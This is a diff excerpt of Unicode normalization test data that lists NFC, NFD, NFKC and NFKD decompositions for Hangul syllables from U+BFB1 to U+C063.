+{ source: [0xBFB1], NFC: [0xBFB1], NFD: [0x1108, 0x116D, 0x11A8], NFKC: [0xBFB1], NFKD: [0x1108, 0x116D, 0x11A8] },
+{ source: [0xBFB2], NFC: [0xBFB2], NFD: [0x1108, 0x116D, 0x11A9], NFKC: [0xBFB2], NFKD: [0x1108, 0x116D, 0x11A9] },
+{ source: [0xBFB3], NFC: [0xBFB3], NFD: [0x1108, 0x116D, 0x11AA], NFKC: [0xBFB3], NFKD: [0x1108, 0x116D, 0x11AA] },
+{ source: [0xBFB4], NFC: [0xBFB4], NFD: [0x1108, 0x116D, 0x11AB], NFKC: [0xBFB4], NFKD: [0x1108, 0x116D, 0x11AB] },
+{ source: [0xBFB5], NFC: [0xBFB5], NFD: [0x1108, 0x116D, 0x11AC], NFKC: [0xBFB5], NFKD: [0x1108, 0x116D, 0x11AC] },
+{ source: [0xBFB6], NFC: [0xBFB6], NFD: [0x1108, 0x116D, 0x11AD], NFKC: [0xBFB6], NFKD: [0x1108, 0x116D, 0x11AD] },
+{ source: [0xBFB7], NFC: [0xBFB7], NFD: [0x1108, 0x116D, 0x11AE], NFKC: [0xBFB7], NFKD: [0x1108, 0x116D, 0x11AE] },
+{ source: [0xBFB8], NFC: [0xBFB8], NFD: [0x1108, 0x116D, 0x11AF], NFKC: [0xBFB8], NFKD: [0x1108, 0x116D, 0x11AF] },
+{ source: [0xBFB9], NFC: [0xBFB9], NFD: [0x1108, 0x116D, 0x11B0], NFKC: [0xBFB9], NFKD: [0x1108, 0x116D, 0x11B0] },
+{ source: [0xBFBA], NFC: [0xBFBA], NFD: [0x1108, 0x116D, 0x11B1], NFKC: [0xBFBA], NFKD: [0x1108, 0x116D, 0x11B1] },
+{ source: [0xBFBB], NFC: [0xBFBB], NFD: [0x1108, 0x116D, 0x11B2], NFKC: [0xBFBB], NFKD: [0x1108, 0x116D, 0x11B2] },
+{ source: [0xBFBC], NFC: [0xBFBC], NFD: [0x1108, 0x116D, 0x11B3], NFKC: [0xBFBC], NFKD: [0x1108, 0x116D, 0x11B3] },
+{ source: [0xBFBD], NFC: [0xBFBD], NFD: [0x1108, 0x116D, 0x11B4], NFKC: [0xBFBD], NFKD: [0x1108, 0x116D, 0x11B4] },
+{ source: [0xBFBE], NFC: [0xBFBE], NFD: [0x1108, 0x116D, 0x11B5], NFKC: [0xBFBE], NFKD: [0x1108, 0x116D, 0x11B5] },
+{ source: [0xBFBF], NFC: [0xBFBF], NFD: [0x1108, 0x116D, 0x11B6], NFKC: [0xBFBF], NFKD: [0x1108, 0x116D, 0x11B6] },
+{ source: [0xBFC0], NFC: [0xBFC0], NFD: [0x1108, 0x116D, 0x11B7], NFKC: [0xBFC0], NFKD: [0x1108, 0x116D, 0x11B7] },
+{ source: [0xBFC1], NFC: [0xBFC1], NFD: [0x1108, 0x116D, 0x11B8], NFKC: [0xBFC1], NFKD: [0x1108, 0x116D, 0x11B8] },
+{ source: [0xBFC2], NFC: [0xBFC2], NFD: [0x1108, 0x116D, 0x11B9], NFKC: [0xBFC2], NFKD: [0x1108, 0x116D, 0x11B9] },
+{ source: [0xBFC3], NFC: [0xBFC3], NFD: [0x1108, 0x116D, 0x11BA], NFKC: [0xBFC3], NFKD: [0x1108, 0x116D, 0x11BA] },
+{ source: [0xBFC4], NFC: [0xBFC4], NFD: [0x1108, 0x116D, 0x11BB], NFKC: [0xBFC4], NFKD: [0x1108, 0x116D, 0x11BB] },
+{ source: [0xBFC5], NFC: [0xBFC5], NFD: [0x1108, 0x116D, 0x11BC], NFKC: [0xBFC5], NFKD: [0x1108, 0x116D, 0x11BC] },
+{ source: [0xBFC6], NFC: [0xBFC6], NFD: [0x1108, 0x116D, 0x11BD], NFKC: [0xBFC6], NFKD: [0x1108, 0x116D, 0x11BD] },
+{ source: [0xBFC7], NFC: [0xBFC7], NFD: [0x1108, 0x116D, 0x11BE], NFKC: [0xBFC7], NFKD: [0x1108, 0x116D, 0x11BE] },
+{ source: [0xBFC8], NFC: [0xBFC8], NFD: [0x1108, 0x116D, 0x11BF], NFKC: [0xBFC8], NFKD: [0x1108, 0x116D, 0x11BF] },
+{ source: [0xBFC9], NFC: [0xBFC9], NFD: [0x1108, 0x116D, 0x11C0], NFKC: [0xBFC9], NFKD: [0x1108, 0x116D, 0x11C0] },
+{ source: [0xBFCA], NFC: [0xBFCA], NFD: [0x1108, 0x116D, 0x11C1], NFKC: [0xBFCA], NFKD: [0x1108, 0x116D, 0x11C1] },
+{ source: [0xBFCB], NFC: [0xBFCB], NFD: [0x1108, 0x116D, 0x11C2], NFKC: [0xBFCB], NFKD: [0x1108, 0x116D, 0x11C2] },
+{ source: [0xBFCC], NFC: [0xBFCC], NFD: [0x1108, 0x116E], NFKC: [0xBFCC], NFKD: [0x1108, 0x116E] },
+{ source: [0xBFCD], NFC: [0xBFCD], NFD: [0x1108, 0x116E, 0x11A8], NFKC: [0xBFCD], NFKD: [0x1108, 0x116E, 0x11A8] },
+{ source: [0xBFCE], NFC: [0xBFCE], NFD: [0x1108, 0x116E, 0x11A9], NFKC: [0xBFCE], NFKD: [0x1108, 0x116E, 0x11A9] },
+{ source: [0xBFCF], NFC: [0xBFCF], NFD: [0x1108, 0x116E, 0x11AA], NFKC: [0xBFCF], NFKD: [0x1108, 0x116E, 0x11AA] },
+{ source: [0xBFD0], NFC: [0xBFD0], NFD: [0x1108, 0x116E, 0x11AB], NFKC: [0xBFD0], NFKD: [0x1108, 0x116E, 0x11AB] },
+{ source: [0xBFD1], NFC: [0xBFD1], NFD: [0x1108, 0x116E, 0x11AC], NFKC: [0xBFD1], NFKD: [0x1108, 0x116E, 0x11AC] },
+{ source: [0xBFD2], NFC: [0xBFD2], NFD: [0x1108, 0x116E, 0x11AD], NFKC: [0xBFD2], NFKD: [0x1108, 0x116E, 0x11AD] },
+{ source: [0xBFD3], NFC: [0xBFD3], NFD: [0x1108, 0x116E, 0x11AE], NFKC: [0xBFD3], NFKD: [0x1108, 0x116E, 0x11AE] },
+{ source: [0xBFD4], NFC: [0xBFD4], NFD: [0x1108, 0x116E, 0x11AF], NFKC: [0xBFD4], NFKD: [0x1108, 0x116E, 0x11AF] },
+{ source: [0xBFD5], NFC: [0xBFD5], NFD: [0x1108, 0x116E, 0x11B0], NFKC: [0xBFD5], NFKD: [0x1108, 0x116E, 0x11B0] },
+{ source: [0xBFD6], NFC: [0xBFD6], NFD: [0x1108, 0x116E, 0x11B1], NFKC: [0xBFD6], NFKD: [0x1108, 0x116E, 0x11B1] },
+{ source: [0xBFD7], NFC: [0xBFD7], NFD: [0x1108, 0x116E, 0x11B2], NFKC: [0xBFD7], NFKD: [0x1108, 0x116E, 0x11B2] },
+{ source: [0xBFD8], NFC: [0xBFD8], NFD: [0x1108, 0x116E, 0x11B3], NFKC: [0xBFD8], NFKD: [0x1108, 0x116E, 0x11B3] },
+{ source: [0xBFD9], NFC: [0xBFD9], NFD: [0x1108, 0x116E, 0x11B4], NFKC: [0xBFD9], NFKD: [0x1108, 0x116E, 0x11B4] },
+{ source: [0xBFDA], NFC: [0xBFDA], NFD: [0x1108, 0x116E, 0x11B5], NFKC: [0xBFDA], NFKD: [0x1108, 0x116E, 0x11B5] },
+{ source: [0xBFDB], NFC: [0xBFDB], NFD: [0x1108, 0x116E, 0x11B6], NFKC: [0xBFDB], NFKD: [0x1108, 0x116E, 0x11B6] },
+{ source: [0xBFDC], NFC: [0xBFDC], NFD: [0x1108, 0x116E, 0x11B7], NFKC: [0xBFDC], NFKD: [0x1108, 0x116E, 0x11B7] },
+{ source: [0xBFDD], NFC: [0xBFDD], NFD: [0x1108, 0x116E, 0x11B8], NFKC: [0xBFDD], NFKD: [0x1108, 0x116E, 0x11B8] },
+{ source: [0xBFDE], NFC: [0xBFDE], NFD: [0x1108, 0x116E, 0x11B9], NFKC: [0xBFDE], NFKD: [0x1108, 0x116E, 0x11B9] },
+{ source: [0xBFDF], NFC: [0xBFDF], NFD: [0x1108, 0x116E, 0x11BA], NFKC: [0xBFDF], NFKD: [0x1108, 0x116E, 0x11BA] },
+{ source: [0xBFE0], NFC: [0xBFE0], NFD: [0x1108, 0x116E, 0x11BB], NFKC: [0xBFE0], NFKD: [0x1108, 0x116E, 0x11BB] },
+{ source: [0xBFE1], NFC: [0xBFE1], NFD: [0x1108, 0x116E, 0x11BC], NFKC: [0xBFE1], NFKD: [0x1108, 0x116E, 0x11BC] },
+{ source: [0xBFE2], NFC: [0xBFE2], NFD: [0x1108, 0x116E, 0x11BD], NFKC: [0xBFE2], NFKD: [0x1108, 0x116E, 0x11BD] },
+{ source: [0xBFE3], NFC: [0xBFE3], NFD: [0x1108, 0x116E, 0x11BE], NFKC: [0xBFE3], NFKD: [0x1108, 0x116E, 0x11BE] },
+{ source: [0xBFE4], NFC: [0xBFE4], NFD: [0x1108, 0x116E, 0x11BF], NFKC: [0xBFE4], NFKD: [0x1108, 0x116E, 0x11BF] },
+{ source: [0xBFE5], NFC: [0xBFE5], NFD: [0x1108, 0x116E, 0x11C0], NFKC: [0xBFE5], NFKD: [0x1108, 0x116E, 0x11C0] },
+{ source: [0xBFE6], NFC: [0xBFE6], NFD: [0x1108, 0x116E, 0x11C1], NFKC: [0xBFE6], NFKD: [0x1108, 0x116E, 0x11C1] },
+{ source: [0xBFE7], NFC: [0xBFE7], NFD: [0x1108, 0x116E, 0x11C2], NFKC: [0xBFE7], NFKD: [0x1108, 0x116E, 0x11C2] },
+{ source: [0xBFE8], NFC: [0xBFE8], NFD: [0x1108, 0x116F], NFKC: [0xBFE8], NFKD: [0x1108, 0x116F] },
+{ source: [0xBFE9], NFC: [0xBFE9], NFD: [0x1108, 0x116F, 0x11A8], NFKC: [0xBFE9], NFKD: [0x1108, 0x116F, 0x11A8] },
+{ source: [0xBFEA], NFC: [0xBFEA], NFD: [0x1108, 0x116F, 0x11A9], NFKC: [0xBFEA], NFKD: [0x1108, 0x116F, 0x11A9] },
+{ source: [0xBFEB], NFC: [0xBFEB], NFD: [0x1108, 0x116F, 0x11AA], NFKC: [0xBFEB], NFKD: [0x1108, 0x116F, 0x11AA] },
+{ source: [0xBFEC], NFC: [0xBFEC], NFD: [0x1108, 0x116F, 0x11AB], NFKC: [0xBFEC], NFKD: [0x1108, 0x116F, 0x11AB] },
+{ source: [0xBFED], NFC: [0xBFED], NFD: [0x1108, 0x116F, 0x11AC], NFKC: [0xBFED], NFKD: [0x1108, 0x116F, 0x11AC] },
+{ source: [0xBFEE], NFC: [0xBFEE], NFD: [0x1108, 0x116F, 0x11AD], NFKC: [0xBFEE], NFKD: [0x1108, 0x116F, 0x11AD] },
+{ source: [0xBFEF], NFC: [0xBFEF], NFD: [0x1108, 0x116F, 0x11AE], NFKC: [0xBFEF], NFKD: [0x1108, 0x116F, 0x11AE] },
+{ source: [0xBFF0], NFC: [0xBFF0], NFD: [0x1108, 0x116F, 0x11AF], NFKC: [0xBFF0], NFKD: [0x1108, 0x116F, 0x11AF] },
+{ source: [0xBFF1], NFC: [0xBFF1], NFD: [0x1108, 0x116F, 0x11B0], NFKC: [0xBFF1], NFKD: [0x1108, 0x116F, 0x11B0] },
+{ source: [0xBFF2], NFC: [0xBFF2], NFD: [0x1108, 0x116F, 0x11B1], NFKC: [0xBFF2], NFKD: [0x1108, 0x116F, 0x11B1] },
+{ source: [0xBFF3], NFC: [0xBFF3], NFD: [0x1108, 0x116F, 0x11B2], NFKC: [0xBFF3], NFKD: [0x1108, 0x116F, 0x11B2] },
+{ source: [0xBFF4], NFC: [0xBFF4], NFD: [0x1108, 0x116F, 0x11B3], NFKC: [0xBFF4], NFKD: [0x1108, 0x116F, 0x11B3] },
+{ source: [0xBFF5], NFC: [0xBFF5], NFD: [0x1108, 0x116F, 0x11B4], NFKC: [0xBFF5], NFKD: [0x1108, 0x116F, 0x11B4] },
+{ source: [0xBFF6], NFC: [0xBFF6], NFD: [0x1108, 0x116F, 0x11B5], NFKC: [0xBFF6], NFKD: [0x1108, 0x116F, 0x11B5] },
+{ source: [0xBFF7], NFC: [0xBFF7], NFD: [0x1108, 0x116F, 0x11B6], NFKC: [0xBFF7], NFKD: [0x1108, 0x116F, 0x11B6] },
+{ source: [0xBFF8], NFC: [0xBFF8], NFD: [0x1108, 0x116F, 0x11B7], NFKC: [0xBFF8], NFKD: [0x1108, 0x116F, 0x11B7] },
+{ source: [0xBFF9], NFC: [0xBFF9], NFD: [0x1108, 0x116F, 0x11B8], NFKC: [0xBFF9], NFKD: [0x1108, 0x116F, 0x11B8] },
+{ source: [0xBFFA], NFC: [0xBFFA], NFD: [0x1108, 0x116F, 0x11B9], NFKC: [0xBFFA], NFKD: [0x1108, 0x116F, 0x11B9] },
+{ source: [0xBFFB], NFC: [0xBFFB], NFD: [0x1108, 0x116F, 0x11BA], NFKC: [0xBFFB], NFKD: [0x1108, 0x116F, 0x11BA] },
+{ source: [0xBFFC], NFC: [0xBFFC], NFD: [0x1108, 0x116F, 0x11BB], NFKC: [0xBFFC], NFKD: [0x1108, 0x116F, 0x11BB] },
+{ source: [0xBFFD], NFC: [0xBFFD], NFD: [0x1108, 0x116F, 0x11BC], NFKC: [0xBFFD], NFKD: [0x1108, 0x116F, 0x11BC] },
+{ source: [0xBFFE], NFC: [0xBFFE], NFD: [0x1108, 0x116F, 0x11BD], NFKC: [0xBFFE], NFKD: [0x1108, 0x116F, 0x11BD] },
+{ source: [0xBFFF], NFC: [0xBFFF], NFD: [0x1108, 0x116F, 0x11BE], NFKC: [0xBFFF], NFKD: [0x1108, 0x116F, 0x11BE] },
+{ source: [0xC000], NFC: [0xC000], NFD: [0x1108, 0x116F, 0x11BF], NFKC: [0xC000], NFKD: [0x1108, 0x116F, 0x11BF] },
+{ source: [0xC001], NFC: [0xC001], NFD: [0x1108, 0x116F, 0x11C0], NFKC: [0xC001], NFKD: [0x1108, 0x116F, 0x11C0] },
+{ source: [0xC002], NFC: [0xC002], NFD: [0x1108, 0x116F, 0x11C1], NFKC: [0xC002], NFKD: [0x1108, 0x116F, 0x11C1] },
+{ source: [0xC003], NFC: [0xC003], NFD: [0x1108, 0x116F, 0x11C2], NFKC: [0xC003], NFKD: [0x1108, 0x116F, 0x11C2] },
+{ source: [0xC004], NFC: [0xC004], NFD: [0x1108, 0x1170], NFKC: [0xC004], NFKD: [0x1108, 0x1170] },
+{ source: [0xC005], NFC: [0xC005], NFD: [0x1108, 0x1170, 0x11A8], NFKC: [0xC005], NFKD: [0x1108, 0x1170, 0x11A8] },
+{ source: [0xC006], NFC: [0xC006], NFD: [0x1108, 0x1170, 0x11A9], NFKC: [0xC006], NFKD: [0x1108, 0x1170, 0x11A9] },
+{ source: [0xC007], NFC: [0xC007], NFD: [0x1108, 0x1170, 0x11AA], NFKC: [0xC007], NFKD: [0x1108, 0x1170, 0x11AA] },
+{ source: [0xC008], NFC: [0xC008], NFD: [0x1108, 0x1170, 0x11AB], NFKC: [0xC008], NFKD: [0x1108, 0x1170, 0x11AB] },
+{ source: [0xC009], NFC: [0xC009], NFD: [0x1108, 0x1170, 0x11AC], NFKC: [0xC009], NFKD: [0x1108, 0x1170, 0x11AC] },
+{ source: [0xC00A], NFC: [0xC00A], NFD: [0x1108, 0x1170, 0x11AD], NFKC: [0xC00A], NFKD: [0x1108, 0x1170, 0x11AD] },
+{ source: [0xC00B], NFC: [0xC00B], NFD: [0x1108, 0x1170, 0x11AE], NFKC: [0xC00B], NFKD: [0x1108, 0x1170, 0x11AE] },
+{ source: [0xC00C], NFC: [0xC00C], NFD: [0x1108, 0x1170, 0x11AF], NFKC: [0xC00C], NFKD: [0x1108, 0x1170, 0x11AF] },
+{ source: [0xC00D], NFC: [0xC00D], NFD: [0x1108, 0x1170, 0x11B0], NFKC: [0xC00D], NFKD: [0x1108, 0x1170, 0x11B0] },
+{ source: [0xC00E], NFC: [0xC00E], NFD: [0x1108, 0x1170, 0x11B1], NFKC: [0xC00E], NFKD: [0x1108, 0x1170, 0x11B1] },
+{ source: [0xC00F], NFC: [0xC00F], NFD: [0x1108, 0x1170, 0x11B2], NFKC: [0xC00F], NFKD: [0x1108, 0x1170, 0x11B2] },
+{ source: [0xC010], NFC: [0xC010], NFD: [0x1108, 0x1170, 0x11B3], NFKC: [0xC010], NFKD: [0x1108, 0x1170, 0x11B3] },
+{ source: [0xC011], NFC: [0xC011], NFD: [0x1108, 0x1170, 0x11B4], NFKC: [0xC011], NFKD: [0x1108, 0x1170, 0x11B4] },
+{ source: [0xC012], NFC: [0xC012], NFD: [0x1108, 0x1170, 0x11B5], NFKC: [0xC012], NFKD: [0x1108, 0x1170, 0x11B5] },
+{ source: [0xC013], NFC: [0xC013], NFD: [0x1108, 0x1170, 0x11B6], NFKC: [0xC013], NFKD: [0x1108, 0x1170, 0x11B6] },
+{ source: [0xC014], NFC: [0xC014], NFD: [0x1108, 0x1170, 0x11B7], NFKC: [0xC014], NFKD: [0x1108, 0x1170, 0x11B7] },
+{ source: [0xC015], NFC: [0xC015], NFD: [0x1108, 0x1170, 0x11B8], NFKC: [0xC015], NFKD: [0x1108, 0x1170, 0x11B8] },
+{ source: [0xC016], NFC: [0xC016], NFD: [0x1108, 0x1170, 0x11B9], NFKC: [0xC016], NFKD: [0x1108, 0x1170, 0x11B9] },
+{ source: [0xC017], NFC: [0xC017], NFD: [0x1108, 0x1170, 0x11BA], NFKC: [0xC017], NFKD: [0x1108, 0x1170, 0x11BA] },
+{ source: [0xC018], NFC: [0xC018], NFD: [0x1108, 0x1170, 0x11BB], NFKC: [0xC018], NFKD: [0x1108, 0x1170, 0x11BB] },
+{ source: [0xC019], NFC: [0xC019], NFD: [0x1108, 0x1170, 0x11BC], NFKC: [0xC019], NFKD: [0x1108, 0x1170, 0x11BC] },
+{ source: [0xC01A], NFC: [0xC01A], NFD: [0x1108, 0x1170, 0x11BD], NFKC: [0xC01A], NFKD: [0x1108, 0x1170, 0x11BD] },
+{ source: [0xC01B], NFC: [0xC01B], NFD: [0x1108, 0x1170, 0x11BE], NFKC: [0xC01B], NFKD: [0x1108, 0x1170, 0x11BE] },
+{ source: [0xC01C], NFC: [0xC01C], NFD: [0x1108, 0x1170, 0x11BF], NFKC: [0xC01C], NFKD: [0x1108, 0x1170, 0x11BF] },
+{ source: [0xC01D], NFC: [0xC01D], NFD: [0x1108, 0x1170, 0x11C0], NFKC: [0xC01D], NFKD: [0x1108, 0x1170, 0x11C0] },
+{ source: [0xC01E], NFC: [0xC01E], NFD: [0x1108, 0x1170, 0x11C1], NFKC: [0xC01E], NFKD: [0x1108, 0x1170, 0x11C1] },
+{ source: [0xC01F], NFC: [0xC01F], NFD: [0x1108, 0x1170, 0x11C2], NFKC: [0xC01F], NFKD: [0x1108, 0x1170, 0x11C2] },
+{ source: [0xC020], NFC: [0xC020], NFD: [0x1108, 0x1171], NFKC: [0xC020], NFKD: [0x1108, 0x1171] },
+{ source: [0xC021], NFC: [0xC021], NFD: [0x1108, 0x1171, 0x11A8], NFKC: [0xC021], NFKD: [0x1108, 0x1171, 0x11A8] },
+{ source: [0xC022], NFC: [0xC022], NFD: [0x1108, 0x1171, 0x11A9], NFKC: [0xC022], NFKD: [0x1108, 0x1171, 0x11A9] },
+{ source: [0xC023], NFC: [0xC023], NFD: [0x1108, 0x1171, 0x11AA], NFKC: [0xC023], NFKD: [0x1108, 0x1171, 0x11AA] },
+{ source: [0xC024], NFC: [0xC024], NFD: [0x1108, 0x1171, 0x11AB], NFKC: [0xC024], NFKD: [0x1108, 0x1171, 0x11AB] },
+{ source: [0xC025], NFC: [0xC025], NFD: [0x1108, 0x1171, 0x11AC], NFKC: [0xC025], NFKD: [0x1108, 0x1171, 0x11AC] },
+{ source: [0xC026], NFC: [0xC026], NFD: [0x1108, 0x1171, 0x11AD], NFKC: [0xC026], NFKD: [0x1108, 0x1171, 0x11AD] },
+{ source: [0xC027], NFC: [0xC027], NFD: [0x1108, 0x1171, 0x11AE], NFKC: [0xC027], NFKD: [0x1108, 0x1171, 0x11AE] },
+{ source: [0xC028], NFC: [0xC028], NFD: [0x1108, 0x1171, 0x11AF], NFKC: [0xC028], NFKD: [0x1108, 0x1171, 0x11AF] },
+{ source: [0xC029], NFC: [0xC029], NFD: [0x1108, 0x1171, 0x11B0], NFKC: [0xC029], NFKD: [0x1108, 0x1171, 0x11B0] },
+{ source: [0xC02A], NFC: [0xC02A], NFD: [0x1108, 0x1171, 0x11B1], NFKC: [0xC02A], NFKD: [0x1108, 0x1171, 0x11B1] },
+{ source: [0xC02B], NFC: [0xC02B], NFD: [0x1108, 0x1171, 0x11B2], NFKC: [0xC02B], NFKD: [0x1108, 0x1171, 0x11B2] },
+{ source: [0xC02C], NFC: [0xC02C], NFD: [0x1108, 0x1171, 0x11B3], NFKC: [0xC02C], NFKD: [0x1108, 0x1171, 0x11B3] },
+{ source: [0xC02D], NFC: [0xC02D], NFD: [0x1108, 0x1171, 0x11B4], NFKC: [0xC02D], NFKD: [0x1108, 0x1171, 0x11B4] },
+{ source: [0xC02E], NFC: [0xC02E], NFD: [0x1108, 0x1171, 0x11B5], NFKC: [0xC02E], NFKD: [0x1108, 0x1171, 0x11B5] },
+{ source: [0xC02F], NFC: [0xC02F], NFD: [0x1108, 0x1171, 0x11B6], NFKC: [0xC02F], NFKD: [0x1108, 0x1171, 0x11B6] },
+{ source: [0xC030], NFC: [0xC030], NFD: [0x1108, 0x1171, 0x11B7], NFKC: [0xC030], NFKD: [0x1108, 0x1171, 0x11B7] },
+{ source: [0xC031], NFC: [0xC031], NFD: [0x1108, 0x1171, 0x11B8], NFKC: [0xC031], NFKD: [0x1108, 0x1171, 0x11B8] },
+{ source: [0xC032], NFC: [0xC032], NFD: [0x1108, 0x1171, 0x11B9], NFKC: [0xC032], NFKD: [0x1108, 0x1171, 0x11B9] },
+{ source: [0xC033], NFC: [0xC033], NFD: [0x1108, 0x1171, 0x11BA], NFKC: [0xC033], NFKD: [0x1108, 0x1171, 0x11BA] },
+{ source: [0xC034], NFC: [0xC034], NFD: [0x1108, 0x1171, 0x11BB], NFKC: [0xC034], NFKD: [0x1108, 0x1171, 0x11BB] },
+{ source: [0xC035], NFC: [0xC035], NFD: [0x1108, 0x1171, 0x11BC], NFKC: [0xC035], NFKD: [0x1108, 0x1171, 0x11BC] },
+{ source: [0xC036], NFC: [0xC036], NFD: [0x1108, 0x1171, 0x11BD], NFKC: [0xC036], NFKD: [0x1108, 0x1171, 0x11BD] },
+{ source: [0xC037], NFC: [0xC037], NFD: [0x1108, 0x1171, 0x11BE], NFKC: [0xC037], NFKD: [0x1108, 0x1171, 0x11BE] },
+{ source: [0xC038], NFC: [0xC038], NFD: [0x1108, 0x1171, 0x11BF], NFKC: [0xC038], NFKD: [0x1108, 0x1171, 0x11BF] },
+{ source: [0xC039], NFC: [0xC039], NFD: [0x1108, 0x1171, 0x11C0], NFKC: [0xC039], NFKD: [0x1108, 0x1171, 0x11C0] },
+{ source: [0xC03A], NFC: [0xC03A], NFD: [0x1108, 0x1171, 0x11C1], NFKC: [0xC03A], NFKD: [0x1108, 0x1171, 0x11C1] },
+{ source: [0xC03B], NFC: [0xC03B], NFD: [0x1108, 0x1171, 0x11C2], NFKC: [0xC03B], NFKD: [0x1108, 0x1171, 0x11C2] },
+{ source: [0xC03C], NFC: [0xC03C], NFD: [0x1108, 0x1172], NFKC: [0xC03C], NFKD: [0x1108, 0x1172] },
+{ source: [0xC03D], NFC: [0xC03D], NFD: [0x1108, 0x1172, 0x11A8], NFKC: [0xC03D], NFKD: [0x1108, 0x1172, 0x11A8] },
+{ source: [0xC03E], NFC: [0xC03E], NFD: [0x1108, 0x1172, 0x11A9], NFKC: [0xC03E], NFKD: [0x1108, 0x1172, 0x11A9] },
+{ source: [0xC03F], NFC: [0xC03F], NFD: [0x1108, 0x1172, 0x11AA], NFKC: [0xC03F], NFKD: [0x1108, 0x1172, 0x11AA] },
+{ source: [0xC040], NFC: [0xC040], NFD: [0x1108, 0x1172, 0x11AB], NFKC: [0xC040], NFKD: [0x1108, 0x1172, 0x11AB] },
+{ source: [0xC041], NFC: [0xC041], NFD: [0x1108, 0x1172, 0x11AC], NFKC: [0xC041], NFKD: [0x1108, 0x1172, 0x11AC] },
+{ source: [0xC042], NFC: [0xC042], NFD: [0x1108, 0x1172, 0x11AD], NFKC: [0xC042], NFKD: [0x1108, 0x1172, 0x11AD] },
+{ source: [0xC043], NFC: [0xC043], NFD: [0x1108, 0x1172, 0x11AE], NFKC: [0xC043], NFKD: [0x1108, 0x1172, 0x11AE] },
+{ source: [0xC044], NFC: [0xC044], NFD: [0x1108, 0x1172, 0x11AF], NFKC: [0xC044], NFKD: [0x1108, 0x1172, 0x11AF] },
+{ source: [0xC045], NFC: [0xC045], NFD: [0x1108, 0x1172, 0x11B0], NFKC: [0xC045], NFKD: [0x1108, 0x1172, 0x11B0] },
+{ source: [0xC046], NFC: [0xC046], NFD: [0x1108, 0x1172, 0x11B1], NFKC: [0xC046], NFKD: [0x1108, 0x1172, 0x11B1] },
+{ source: [0xC047], NFC: [0xC047], NFD: [0x1108, 0x1172, 0x11B2], NFKC: [0xC047], NFKD: [0x1108, 0x1172, 0x11B2] },
+{ source: [0xC048], NFC: [0xC048], NFD: [0x1108, 0x1172, 0x11B3], NFKC: [0xC048], NFKD: [0x1108, 0x1172, 0x11B3] },
+{ source: [0xC049], NFC: [0xC049], NFD: [0x1108, 0x1172, 0x11B4], NFKC: [0xC049], NFKD: [0x1108, 0x1172, 0x11B4] },
+{ source: [0xC04A], NFC: [0xC04A], NFD: [0x1108, 0x1172, 0x11B5], NFKC: [0xC04A], NFKD: [0x1108, 0x1172, 0x11B5] },
+{ source: [0xC04B], NFC: [0xC04B], NFD: [0x1108, 0x1172, 0x11B6], NFKC: [0xC04B], NFKD: [0x1108, 0x1172, 0x11B6] },
+{ source: [0xC04C], NFC: [0xC04C], NFD: [0x1108, 0x1172, 0x11B7], NFKC: [0xC04C], NFKD: [0x1108, 0x1172, 0x11B7] },
+{ source: [0xC04D], NFC: [0xC04D], NFD: [0x1108, 0x1172, 0x11B8], NFKC: [0xC04D], NFKD: [0x1108, 0x1172, 0x11B8] },
+{ source: [0xC04E], NFC: [0xC04E], NFD: [0x1108, 0x1172, 0x11B9], NFKC: [0xC04E], NFKD: [0x1108, 0x1172, 0x11B9] },
+{ source: [0xC04F], NFC: [0xC04F], NFD: [0x1108, 0x1172, 0x11BA], NFKC: [0xC04F], NFKD: [0x1108, 0x1172, 0x11BA] },
+{ source: [0xC050], NFC: [0xC050], NFD: [0x1108, 0x1172, 0x11BB], NFKC: [0xC050], NFKD: [0x1108, 0x1172, 0x11BB] },
+{ source: [0xC051], NFC: [0xC051], NFD: [0x1108, 0x1172, 0x11BC], NFKC: [0xC051], NFKD: [0x1108, 0x1172, 0x11BC] },
+{ source: [0xC052], NFC: [0xC052], NFD: [0x1108, 0x1172, 0x11BD], NFKC: [0xC052], NFKD: [0x1108, 0x1172, 0x11BD] },
+{ source: [0xC053], NFC: [0xC053], NFD: [0x1108, 0x1172, 0x11BE], NFKC: [0xC053], NFKD: [0x1108, 0x1172, 0x11BE] },
+{ source: [0xC054], NFC: [0xC054], NFD: [0x1108, 0x1172, 0x11BF], NFKC: [0xC054], NFKD: [0x1108, 0x1172, 0x11BF] },
+{ source: [0xC055], NFC: [0xC055], NFD: [0x1108, 0x1172, 0x11C0], NFKC: [0xC055], NFKD: [0x1108, 0x1172, 0x11C0] },
+{ source: [0xC056], NFC: [0xC056], NFD: [0x1108, 0x1172, 0x11C1], NFKC: [0xC056], NFKD: [0x1108, 0x1172, 0x11C1] },
+{ source: [0xC057], NFC: [0xC057], NFD: [0x1108, 0x1172, 0x11C2], NFKC: [0xC057], NFKD: [0x1108, 0x1172, 0x11C2] },
+{ source: [0xC058], NFC: [0xC058], NFD: [0x1108, 0x1173], NFKC: [0xC058], NFKD: [0x1108, 0x1173] },
+{ source: [0xC059], NFC: [0xC059], NFD: [0x1108, 0x1173, 0x11A8], NFKC: [0xC059], NFKD: [0x1108, 0x1173, 0x11A8] },
+{ source: [0xC05A], NFC: [0xC05A], NFD: [0x1108, 0x1173, 0x11A9], NFKC: [0xC05A], NFKD: [0x1108, 0x1173, 0x11A9] },
+{ source: [0xC05B], NFC: [0xC05B], NFD: [0x1108, 0x1173, 0x11AA], NFKC: [0xC05B], NFKD: [0x1108, 0x1173, 0x11AA] },
+{ source: [0xC05C], NFC: [0xC05C], NFD: [0x1108, 0x1173, 0x11AB], NFKC: [0xC05C], NFKD: [0x1108, 0x1173, 0x11AB] },
+{ source: [0xC05D], NFC: [0xC05D], NFD: [0x1108, 0x1173, 0x11AC], NFKC: [0xC05D], NFKD: [0x1108, 0x1173, 0x11AC] },
+{ source: [0xC05E], NFC: [0xC05E], NFD: [0x1108, 0x1173, 0x11AD], NFKC: [0xC05E], NFKD: [0x1108, 0x1173, 0x11AD] },
+{ source: [0xC05F], NFC: [0xC05F], NFD: [0x1108, 0x1173, 0x11AE], NFKC: [0xC05F], NFKD: [0x1108, 0x1173, 0x11AE] },
+{ source: [0xC060], NFC: [0xC060], NFD: [0x1108, 0x1173, 0x11AF], NFKC: [0xC060], NFKD: [0x1108, 0x1173, 0x11AF] },
+{ source: [0xC061], NFC: [0xC061], NFD: [0x1108, 0x1173, 0x11B0], NFKC: [0xC061], NFKD: [0x1108, 0x1173, 0x11B0] },
+{ source: [0xC062], NFC: [0xC062], NFD: [0x1108, 0x1173, 0x11B1], NFKC: [0xC062], NFKD: [0x1108, 0x1173, 0x11B1] },
+{ source: [0xC063], NFC: [0xC063], NFD: [0x1108, 0x1173, 0x11B2], NFKC: [0xC063], NFKD: [0x1108, 0x1173, 0x11B2] },
